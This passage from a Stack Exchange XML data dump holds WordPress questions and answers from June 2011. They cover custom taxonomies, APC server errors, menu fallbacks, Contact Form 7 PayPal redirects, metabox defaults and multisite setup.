work?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$meta = isset($meta['term_id']) ? $meta['term_id'] : array();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;thanks again&lt;/p&gt;&#xA;" OwnerUserId="370" LastEditorUserId="370" LastEditorDisplayName="" LastEditDate="2011-06-14T22:44:01.937" LastActivityDate="2011-08-07T09:02:52.197" Title="Get the term id belonging to custom taxonomy on a custom single-post-type.php template page" Tags="&lt;custom-taxonomy&gt;&lt;metabox&gt;" AnswerCount="3" />
  <row Id="19963" PostTypeId="1" CreationDate="2011-06-14T07:17:08.847" Score="0" ViewCount="157" Body="&lt;p&gt;I have a blog running on a FreeBSD 8.1 system with PHP 5.3.5 and APC 3.1.6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first everything seemes fine, but after a while (about 18-24 hours) all pages are served blank, and with a status code of 500. There is nothing in either the vhost, or the global Apache error logs, and PHP doesn't log anything either. The requests are only logged in the access log, with a 500 code. All the other vhosts on the server run fine while the blog is down. An Apache restart fixes the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP error logging is enabled (the deprecated functions are logged) while the site is working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disabling APC for this vhost solved the issue, but that is not a long term solution, because the CPU load is roughly doubled this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a WP issue, or an APC bug?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&#xA;Forgot to add WP version, it is version 3.1.3&lt;/p&gt;&#xA;" OwnerUserId="6177" LastEditorUserId="6177" LastEditorDisplayName="" LastEditDate="2011-06-14T07:30:53.523" LastActivityDate="2011-08-14T05:23:41.250" Title="APC 500 Internal server error" Tags="&lt;php&gt;&lt;500-internal-error&gt;" AnswerCount="1" CommentCount="7" />
  <row Id="19964" PostTypeId="2" ParentId="19933" CreationDate="2011-06-14T07:22:00.283" Score="3" ViewCount="" Body="&lt;p&gt;I think you want to install your second site on the same database but with a different table prefix, e.g. &lt;code&gt;$table_prefix = &quot;qa_&quot;;&lt;/code&gt; in &lt;code&gt;wp-config.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are then able to define a custom user and/or user_meta table by adding the following lines to &lt;code&gt;wp-config.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('CUSTOM_USER_TABLE', [orig_table_prefix].'my_users');&#xA;define('CUSTOM_USER_META_TABLE', [orig_table_prefix].'my_usermeta');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;http://codex.wordpress.org/Editing_wp-config.php#Custom_User_and_Usermeta_Tables&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Editing_wp-config.php#Custom_User_and_Usermeta_Tables&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read somewhere before that you may have to sort out a couple of issues of admin users on the second site, can't find the link at the moment.&lt;/p&gt;&#xA;" OwnerUserId="1309" LastActivityDate="2011-06-14T07:22:00.283" CommentCount="1" />
  <row Id="19965" PostTypeId="2" ParentId="19961" CreationDate="2011-06-14T07:26:00.390" Score="2" ViewCount="" Body="&lt;p&gt;It appears you are using an HTML 5 theme. The W3C doesn't validate all HTML output even though it might be &quot;valid code&quot;. The errors you've sent are generated by WordPress and most can be removed fairly easy by de-registering the WordPress Hooks which are causing them. The hooks are used to achieve things like grouping galleries, categories, and other similar tasks. Some can be removed without a negative or noticeable result. If you're trying to be 100% W3C Valid, it might be best to stick with XHTML until HTML5 becomes more accepted/documented. I believe the time you'll spend to remove the errors out way the benefits of using HTML 5. I would either live with the errors or wait for the W3C to expand the rules. If you are set on using HTML5 and achieving 100% Validity, here are 2 informative links to help you out: &lt;a href=&quot;http://wpengineer.com/1438/wordpress-header/&quot; rel=&quot;nofollow&quot;&gt;WP-Engineer Article on &quot;Cleaning up the WordPress Header&quot;&lt;/a&gt;  &lt;a href=&quot;http://milkyteadmt.wordpress.com/2011/06/06/keyword-group1-is-not-registered/&quot; rel=&quot;nofollow&quot;&gt;Articles describing the cause of the Keyword Validation Errors.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-06-14T07:26:00.390" />
  <row Id="19966" PostTypeId="1" AcceptedAnswerId="19970" CreationDate="2011-06-14T07:50:58.110" Score="0" ViewCount="141" Body="&lt;p&gt;I am using  &lt;a href=&quot;http://wordpress.org/extend/plugins/contact-form-7/&quot; rel=&quot;nofollow&quot;&gt;contact form 7 plugin&lt;/a&gt; in my blog.I am having donate option in the form with price option in radio button. user can select and submit.After submitting the form it should redirect to the paypal. with selected price .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i tried &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;on_sent_ok: &quot;location =&#xA;  'https://www.sandbox.paypal.com/us/cgi-bin/webscr?cmd=_xclick&amp;amp;business=xxxx@india.com&amp;amp;currency_code=USD&amp;amp;amount=100&amp;amp;return=http://http://cratecreative.com/norpac&amp;amp;item_name=contribution';&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;in additional  option in form management. But here value of price is static . I need to change that value what user selects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="4022" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-06-14T11:10:03.557" LastActivityDate="2011-08-16T07:17:57.560" Title="get values from contact form 7 wp plugin" Tags="&lt;plugins&gt;&lt;contact-form-7&gt;" AnswerCount="1" />
  <row Id="19967" PostTypeId="1" AcceptedAnswerId="20132" CreationDate="2011-06-14T07:51:41.883" Score="1" ViewCount="77" Body="&lt;p&gt;I am in the process of creating a wordpress mobile theme for one of my wpmu networks. I have created 2 + pages that show our other sites and a custom login form. Right now i have labeled them page-other-sites.php and page-login.php and created 2 pages in the backend. When you click on the link it loads the page-(slugs).php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now instead of having to create a page every time is there a way to have my themes function.php file create a set of default pages.?&lt;/p&gt;&#xA;" OwnerUserId="4998" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-06-14T11:09:11.480" LastActivityDate="2011-06-16T01:20:39.963" Title="Create a page for a theme only" Tags="&lt;multisite&gt;&lt;template&gt;&lt;mobile&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="19968" PostTypeId="2" ParentId="19853" CreationDate="2011-06-14T07:53:43.633" Score="0" ViewCount="" Body="&lt;p&gt;I finally came across one that wasn't over the top and there was also a manual function:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-social-bookmarking-light/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-social-bookmarking-light/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5415" LastActivityDate="2011-06-14T07:53:43.633" />
  <row Id="19969" PostTypeId="1" AcceptedAnswerId="19974" CreationDate="2011-06-14T08:16:48.297" Score="0" ViewCount="83" Body="&lt;p&gt;When I use &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_nav_menu(array(&#xA;    'theme_location' =&amp;gt; 'mainnav',&#xA;    'container' =&amp;gt; 'nav',&#xA;    'container_id' =&amp;gt; 'mainnav',&#xA;    'container_class' =&amp;gt; 'clearfix',&#xA;    'depth' =&amp;gt; 4&#xA;)); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the user hasn't set a nav menu under Appearance menu, I notice theres a fallback like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;menu&quot;&amp;gt;&amp;lt;ul&amp;gt;&amp;lt;li class=&quot;page_item page-item-2&quot;&amp;gt;&amp;lt;a title=&quot;Sample Page&quot; href=&quot;http://dev.klifmedia.net/ae/?page_id=2&quot;&amp;gt;Sample Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I have the fallback use whats specified in &lt;code&gt;wp_nav_menu&lt;/code&gt;? How can I check if theres a menu to display then display it, else show nothing?&lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2011-06-14T08:52:09.847" Title="wp_nav_menu and its fallback" Tags="&lt;theme-development&gt;&lt;custom-menus&gt;" AnswerCount="1" />
  <row Id="19970" PostTypeId="2" ParentId="19966" CreationDate="2011-06-14T08:17:22.810" Score="1" ViewCount="" Body="&lt;p&gt;First change the `on_sent_ok' to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;on_sent_ok: 'my_redirect();'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then create that &lt;code&gt;my_redirect()&lt;/code&gt; function in the page that displays the form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;    function my_redirect() {&#xA;        var price = document.getElementById('PRICE_FIELD').value;&#xA;        var url = 'https://www.sandbox.paypal.com/us/cgi-bin/webscr?cmd=_xclick&amp;amp;business=xxxx@india.com&amp;amp;currency_code=USD&amp;amp;amount='+price+'&amp;amp;return=http://http://cratecreative.com/norpac&amp;amp;item_name=contribution';&#xA;        window.location = url;&#xA;    }&#xA;&amp;lt;/script&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and done!&#xA;Just make sure that you correct the email in that url and replace &lt;code&gt;PRICE_FIELD&lt;/code&gt; with the actual id of the price field.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-14T08:17:22.810" CommentCount="2" />
  <row Id="19971" PostTypeId="2" ParentId="19962" CreationDate="2011-06-14T08:30:33.913" Score="1" ViewCount="" Body="&lt;p&gt;you can use the &lt;code&gt;get_the_terms()&lt;/code&gt; function to get the terms of that post in a specific taxonomy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$terms = get_the_terms( $post-&amp;gt;ID , 'speaker' ); //change speaker to whatever you call your taxonomy&#xA;//then you can use just the first term&#xA;$term_id = $terms[0]-&amp;gt;term_id;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and now you have the term id inside &lt;code&gt;$term_id&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Once you have the term_id you can use it in your function like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$term_id = $termid-&amp;gt;term_id;&#xA;&#xA;$meta = isset($meta[$term_id]) ? $meta[$term_id] : array();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-06-14T22:54:29.997" LastActivityDate="2011-06-14T22:54:29.997" CommentCount="7" />
  <row Id="19972" PostTypeId="2" ParentId="15376" CreationDate="2011-06-14T08:32:34.100" Score="3" ViewCount="" Body="&lt;p&gt;You are referring to the metaboxes on the admin post screen right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For that you don't need a plugin, just drop the following into your functions.php file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// add_action('user_register', 'set_user_metaboxes');&#xA;add_action('admin_init', 'set_user_metaboxes');&#xA;function set_user_metaboxes($user_id=NULL) {&#xA;&#xA;    // These are the metakeys we will need to update&#xA;    $meta_key['order'] = 'meta-box-order_post';&#xA;    $meta_key['hidden'] = 'metaboxhidden_post';&#xA;&#xA;    // So this can be used without hooking into user_register&#xA;    if ( ! $user_id)&#xA;        $user_id = get_current_user_id(); &#xA;&#xA;    // Set the default order if it has not been set yet&#xA;    if ( ! get_user_meta( $user_id, $meta_key['order'], true) ) {&#xA;        $meta_value = array(&#xA;            'side' =&amp;gt; 'submitdiv,formatdiv,categorydiv,postimagediv',&#xA;            'normal' =&amp;gt; 'postexcerpt,tagsdiv-post_tag,postcustom,commentstatusdiv,commentsdiv,trackbacksdiv,slugdiv,authordiv,revisionsdiv',&#xA;            'advanced' =&amp;gt; '',&#xA;        );&#xA;        update_user_meta( $user_id, $meta_key['order'], $meta_value );&#xA;    }&#xA;&#xA;    // Set the default hiddens if it has not been set yet&#xA;    if ( ! get_user_meta( $user_id, $meta_key['hidden'], true) ) {&#xA;        $meta_value = array('postcustom','trackbacksdiv','commentstatusdiv','commentsdiv','slugdiv','authordiv','revisionsdiv');&#xA;        update_user_meta( $user_id, $meta_key['hidden'], $meta_value );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically what is happening is that for the currently logged in user, you are changing some saved meta_values in the wp_usermeta table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two ways to use this function, you can either hook into 'user_register' or you can hook into 'admin_init'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The advantage of using 'user_register' is that this function will only fire when a new user is registered (thus lower overhead). However it will not work for users that already exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want it to work for users that already exist, then hook into 'admin_init'. The disadvantage of course is that now this function fires every time a user goes to the admin page.&lt;/p&gt;&#xA;" OwnerUserId="5395" LastActivityDate="2011-06-14T08:32:34.100" CommentCount="3" />
  <row Id="19973" PostTypeId="1" AcceptedAnswerId="19977" CreationDate="2011-06-14T08:46:12.720" Score="0" ViewCount="82" Body="&lt;p&gt;I'm making a new theme for a blog that will be slightly narrower. Thus I need to resize every image and also change the image url in every post. Is there any kind of plugin handling this?&lt;/p&gt;&#xA;" OwnerUserId="6179" LastActivityDate="2011-06-14T09:26:03.247" Title="How to batch resize images and change image url?" Tags="&lt;plugin-recommendation&gt;&lt;image-resize&gt;" AnswerCount="1" />
  <row Id="19974" PostTypeId="2" ParentId="19969" CreationDate="2011-06-14T08:52:09.847" Score="0" ViewCount="" Body="&lt;p&gt;The default fallback menu is created with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_page_menu&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;wp_page_menu()&lt;/strong&gt;&lt;/a&gt; function and if you want to customize it the you need to create your own fallback function :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_fallback_menu(){&#xA;   $args =array('whatever');&#xA;   wp_page_menu($args);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then call that function in your wp_nav_menu call as the fallback:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_nav_menu(array(&#xA;    'theme_location' =&amp;gt; 'mainnav',&#xA;    'container' =&amp;gt; 'nav',&#xA;    'container_id' =&amp;gt; 'mainnav',&#xA;    'container_class' =&amp;gt; 'clearfix',&#xA;    'depth' =&amp;gt; 4,&#xA;    'fallback_cb' =&amp;gt; 'my_fallback_menu'&#xA;)); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to check if a menu exists you can use &lt;code&gt;has_nav_menu()&lt;/code&gt; function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (has_nav_menu( 'mainnav' )){&#xA;    //display the menu&#xA;}else{&#xA;    //no menu yet do something else&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and to simplify the things even more you can just call the menu and set the fallback to false:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_nav_menu(array(&#xA;    'theme_location' =&amp;gt; 'mainnav',&#xA;    'container' =&amp;gt; 'nav',&#xA;    'container_id' =&amp;gt; 'mainnav',&#xA;    'container_class' =&amp;gt; 'clearfix',&#xA;    'depth' =&amp;gt; 4,&#xA;    'fallback_cb' =&amp;gt; false&#xA;)); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-14T08:52:09.847" />
  <row Id="19975" PostTypeId="1" AcceptedAnswerId="19999" CreationDate="2011-06-14T09:06:04.403" Score="0" ViewCount="68" Body="&lt;p&gt;I'm trying to add a table to a php page template.&lt;br&gt;&#xA;The headers and cells contents show well, but the table attributes are being ignored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;table border=&quot;1&quot; cellspacing=&quot;10&quot;&amp;gt;  &#xA;&amp;lt;tr&amp;gt;&#xA;&amp;lt;th&amp;gt;Name&amp;lt;/th&amp;gt;&amp;lt;span/&amp;gt;&#xA;&amp;lt;th&amp;gt;Address&amp;lt;/th&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&#xA;&amp;lt;td&amp;gt;name_1&amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt;name_2&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;/table&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;produces the following result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Name  Address&#xA;name_1name_2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get no border and no spacing (the headers are bolded, I just couldn't do it here).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it have something to do with wordpress?&lt;br&gt;&#xA;How can it be solved?&lt;/p&gt;&#xA;" OwnerUserId="5171" LastActivityDate="2011-06-14T14:49:25.140" Title="HTML table attributes ignored" Tags="&lt;php&gt;&lt;html&gt;" AnswerCount="1" CommentCount="6" />
  <row Id="19976" PostTypeId="1" AcceptedAnswerId="19982" CreationDate="2011-06-14T09:13:11.737" Score="0" ViewCount="115" Body="&lt;p&gt;I am wondering how do you create a home page with a custom design like banners different layout from other pages while allowing users to edit it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used to use &lt;code&gt;home.php&lt;/code&gt; problem is user cannot edit it ... unless they know PHP. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An option will be to create shortcodes for each section of the home page eg. &lt;code&gt;[banner]&lt;/code&gt;, &lt;code&gt;[services]&lt;/code&gt; or even an empty tag &lt;code&gt;[latestBlogPosts]&lt;/code&gt; etc. I dont think its correct. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whats the way of accomplishing this? A quick &quot;mockup&quot; below of a typical home page &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/vQlCl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Things like latest blog post and portfolio are dynamic from wordpress.&lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2011-06-14T12:34:05.200" Title="Allow users to edit home page from WordPress (home.php problems)" Tags="&lt;theme-development&gt;&lt;homepage&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="19977" PostTypeId="2" ParentId="19973" CreationDate="2011-06-14T09:26:03.247" Score="0" ViewCount="" Body="&lt;p&gt;This plugin might help you : &lt;a href=&quot;http://wordpress.org/extend/plugins/regenerate-thumbnails/&quot; rel=&quot;nofollow&quot;&gt;Regenerate Thumbnails&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just change the image dimensions in WP's Media Settings and run the plugin.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-14T09:26:03.247" CommentCount="3" />
  <row Id="19978" PostTypeId="1" AcceptedAnswerId="19998" CreationDate="2011-06-14T09:53:36.603" Score="0" ViewCount="90" Body="&lt;p&gt;For a custom post type (review) I have enabled a few custom taxonomies. One of them is author rating and for that I have added images to the description field of the terms in the taxonomy (1 star to 5 stars).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I am wondering how to show that description instead of the term itself on the &lt;code&gt;single-review.php&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am already using the function to allow XHTML in category descriptions as per Justin Tadlock's function described on &lt;a href=&quot;http://justintadlock.com/archives/2009/06/04/using-custom-taxonomies-to-create-a-movie-database&quot; rel=&quot;nofollow&quot;&gt;his website&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2015" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-06-14T11:11:12.867" LastActivityDate="2011-06-14T14:36:52.590" Title="show term description instead of list terms of custom taxonomy" Tags="&lt;custom-taxonomy&gt;&lt;terms&gt;&lt;description&gt;" AnswerCount="1" CommentCount="7" FavoriteCount="1" />
  <row Id="19979" PostTypeId="1" CreationDate="2011-06-14T10:18:30.840" Score="0" ViewCount="96" Body="&lt;p&gt;Let's say that I have a URL path that is not handled by wordpress,like &lt;code&gt;/custom/&lt;/code&gt; but I want to add the admin bar to these pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I add to these pages in order to make the admin bar available in them.&lt;/p&gt;&#xA;" OwnerUserId="944" LastActivityDate="2011-08-13T20:23:33.283" Title="How do I display wordpress admin bar outside wordpress?" Tags="&lt;admin-bar&gt;" AnswerCount="1" />
  <row Id="19980" PostTypeId="2" ParentId="5102" CreationDate="2011-06-14T10:36:04.070" Score="1" ViewCount="" Body="&lt;p&gt;I suggest to use sessions since this will not create strange effects when two users editing at the same time. So this is what I do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sessions are not started by wordpress. So you need to &lt;a href=&quot;http://www.frank-verhoeven.com/using-session-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;start a session &lt;/a&gt; in your plugin, functions.php or even wp-config.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!session_id())&#xA;  session_start();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When saving the post, append errors and notices to the session:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_save_post($post_id, $post) {&#xA;   if($something_went_wrong) {&#xA;     //Append error notice if something went wrong&#xA;     $_SESSION['my_admin_notices'] .= '&amp;lt;div class=&quot;error&quot;&amp;gt;&amp;lt;p&amp;gt;This or that went wrong&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;';&#xA;     return false; //might stop processing here&#xA;   }&#xA;   if($somthing_to_notice) {  //i.e. successful saving&#xA;     //Append notice if something went wrong&#xA;     $_SESSION['my_admin_notices'] .= '&amp;lt;div class=&quot;updated&quot;&amp;gt;&amp;lt;p&amp;gt;Post updated&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;';&#xA;   }&#xA;&#xA;   return true;&#xA;} &#xA;add_action('save_post','my_save_post');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Print notices and errors and then clean the messages in the session:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_admin_notices(){&#xA;  if(!empty($_SESSION['my_admin_notices'])) print  $_SESSION['my_admin_notices'];&#xA;  unset ($_SESSION['my_admin_notices']);&#xA;}&#xA;add_action( 'admin_notices', 'my_admin_notices' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2999" LastActivityDate="2011-06-14T10:36:04.070" />
  <row Id="19982" PostTypeId="2" ParentId="19976" CreationDate="2011-06-14T12:15:14.180" Score="0" ViewCount="" Body="&lt;p&gt;First, do &lt;em&gt;not&lt;/em&gt; use &lt;code&gt;home.php&lt;/code&gt; for this purpose. It is a reserved template file name, and is used to display the &lt;strong&gt;Blog Posts Index&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your best option is probably to create a &lt;code&gt;front-page.php&lt;/code&gt; template file, and make the output Widget-based, so that users can modify the display via &lt;code&gt;Dashboard -&amp;gt; Appearance -&amp;gt; Widgets&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-14T12:15:14.180" />
  <row Id="19983" PostTypeId="1" AcceptedAnswerId="19992" CreationDate="2011-06-14T12:26:45.540" Score="0" ViewCount="64" Body="&lt;p&gt;I was thinking about creating a network of user-created blogs. I've read somewhere about wordpress multisite feature, and i was wondering if this is what i'l looking for...&#xA;What i need to do is create a website where users register and create their onw blog. &#xA;Does wordpress multisite offer this feature out of the box ? If not, would manually implementing this feature into wp be doable, or should i start from 0 or another platform ?&#xA;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="6183" LastActivityDate="2011-06-14T12:58:34.913" Title="Multisite features" Tags="&lt;multisite&gt;&lt;network&gt;" AnswerCount="2" />
  <row Id="19986" PostTypeId="1" AcceptedAnswerId="19993" CreationDate="2011-06-14T12:45:13.527" Score="0" ViewCount="119" Body="&lt;p&gt;Is there a way to hide the comments column in the backend? When you look at the pages, there's a comments column even though I'v disabled them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made WP into a cms and it may cause some confusion.&lt;/p&gt;&#xA;" OwnerUserId="5415" LastActivityDate="2011-06-14T13:04:06.460" Title="Hide comments column in WP backend" Tags="&lt;comments&gt;&lt;cms&gt;" AnswerCount="1" />
  <row Id="19987" PostTypeId="1" AcceptedAnswerId="19991" CreationDate="2011-06-14T12:51:12.320" Score="0" ViewCount="118" Body="&lt;p&gt;I've made WP into a cms and there's a few niggling things that cause confusion. The main one is that when you create a page, you have to first select a template then enter a title then save as draft for it to show the correct fields on the page (I'm using the advanced custom field plugin).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to get around this? A couple of users have now said &quot;why aren't I seeing the correct fields to fill in?&quot;, this is down to not selecting the template and saving first.&lt;/p&gt;&#xA;" OwnerUserId="5415" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-06-14T19:04:00.093" LastActivityDate="2011-06-14T19:04:00.093" Title="CMS - User confusion when creating new page and having to select template and save first to see correct fields" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;" AnswerCount="1" />
  <row Id="19988" PostTypeId="2" ParentId="19933" CreationDate="2011-06-14T12:55:28.467" Score="2" ViewCount="" Body="&lt;p&gt;I'm guessing you'll probably want them to be automatically logged in to the Q&amp;amp;A site, otherwise it's not much better than registering twice. Your best bet is probably to change your original site to a multisite instance and have the Q&amp;amp;A site be another site within the same WordPress installation. Then find a plugin that will automatically grant a certain user role without you having to add them manually, such as &lt;a href=&quot;http://wordpress.org/extend/plugins/multisite-user-management/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/multisite-user-management/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see: &lt;a href=&quot;http://codex.wordpress.org/Create_A_Network&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Create_A_Network&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're on shared hosting, it's possible that you might run into difficulties getting multisite set up, but it's still probably the best solution.&lt;/p&gt;&#xA;" OwnerUserId="2226" LastActivityDate="2011-06-14T12:55:28.467" CommentCount="1" />
  <row Id="19989" PostTypeId="2" ParentId="19983" CreationDate="2011-06-14T12:56:39.633" Score="0" ViewCount="" Body="&lt;p&gt;Yes, the MultiSite feature handles your desired setup, out of the box.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-14T12:56:39.633" />
  <row Id="19990" PostTypeId="1" AcceptedAnswerId="20154" CreationDate="2011-06-14T12:57:36.220" Score="0" ViewCount="107" Body="&lt;p&gt;I'm using the &lt;a href=&quot;http://plugins.elliotcondon.com/advanced-custom-fields/&quot; rel=&quot;nofollow&quot;&gt;advanced custom field plugin&lt;/a&gt; to convert WP into a CMS (it's works brilliantly for this). There's just one issue - with an image field it's not quite a smooth process as images need to be selected twice, this causes user confusion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather than me up all the images again - please see &lt;a href=&quot;http://support.plugins.elliotcondon.com/discussion/188/image-field-not-inserting-image&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; for step by step process of the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if this is a WP problem or a problem with the plugin.&lt;/p&gt;&#xA;" OwnerUserId="5415" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-06-14T19:04:46.003" LastActivityDate="2011-06-16T08:04:27.687" Title="Unable to select image with custom field" Tags="&lt;custom-field&gt;&lt;images&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="19991" PostTypeId="2" ParentId="19987" CreationDate="2011-06-14T12:57:50.397" Score="1" ViewCount="" Body="&lt;p&gt;Why are custom fields conditional upon the Page template? Wouldn't an easier, more elegant, and more intuitive approach be to use &lt;em&gt;Custom Post Types&lt;/em&gt;?&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-14T12:57:50.397" CommentCount="3" />
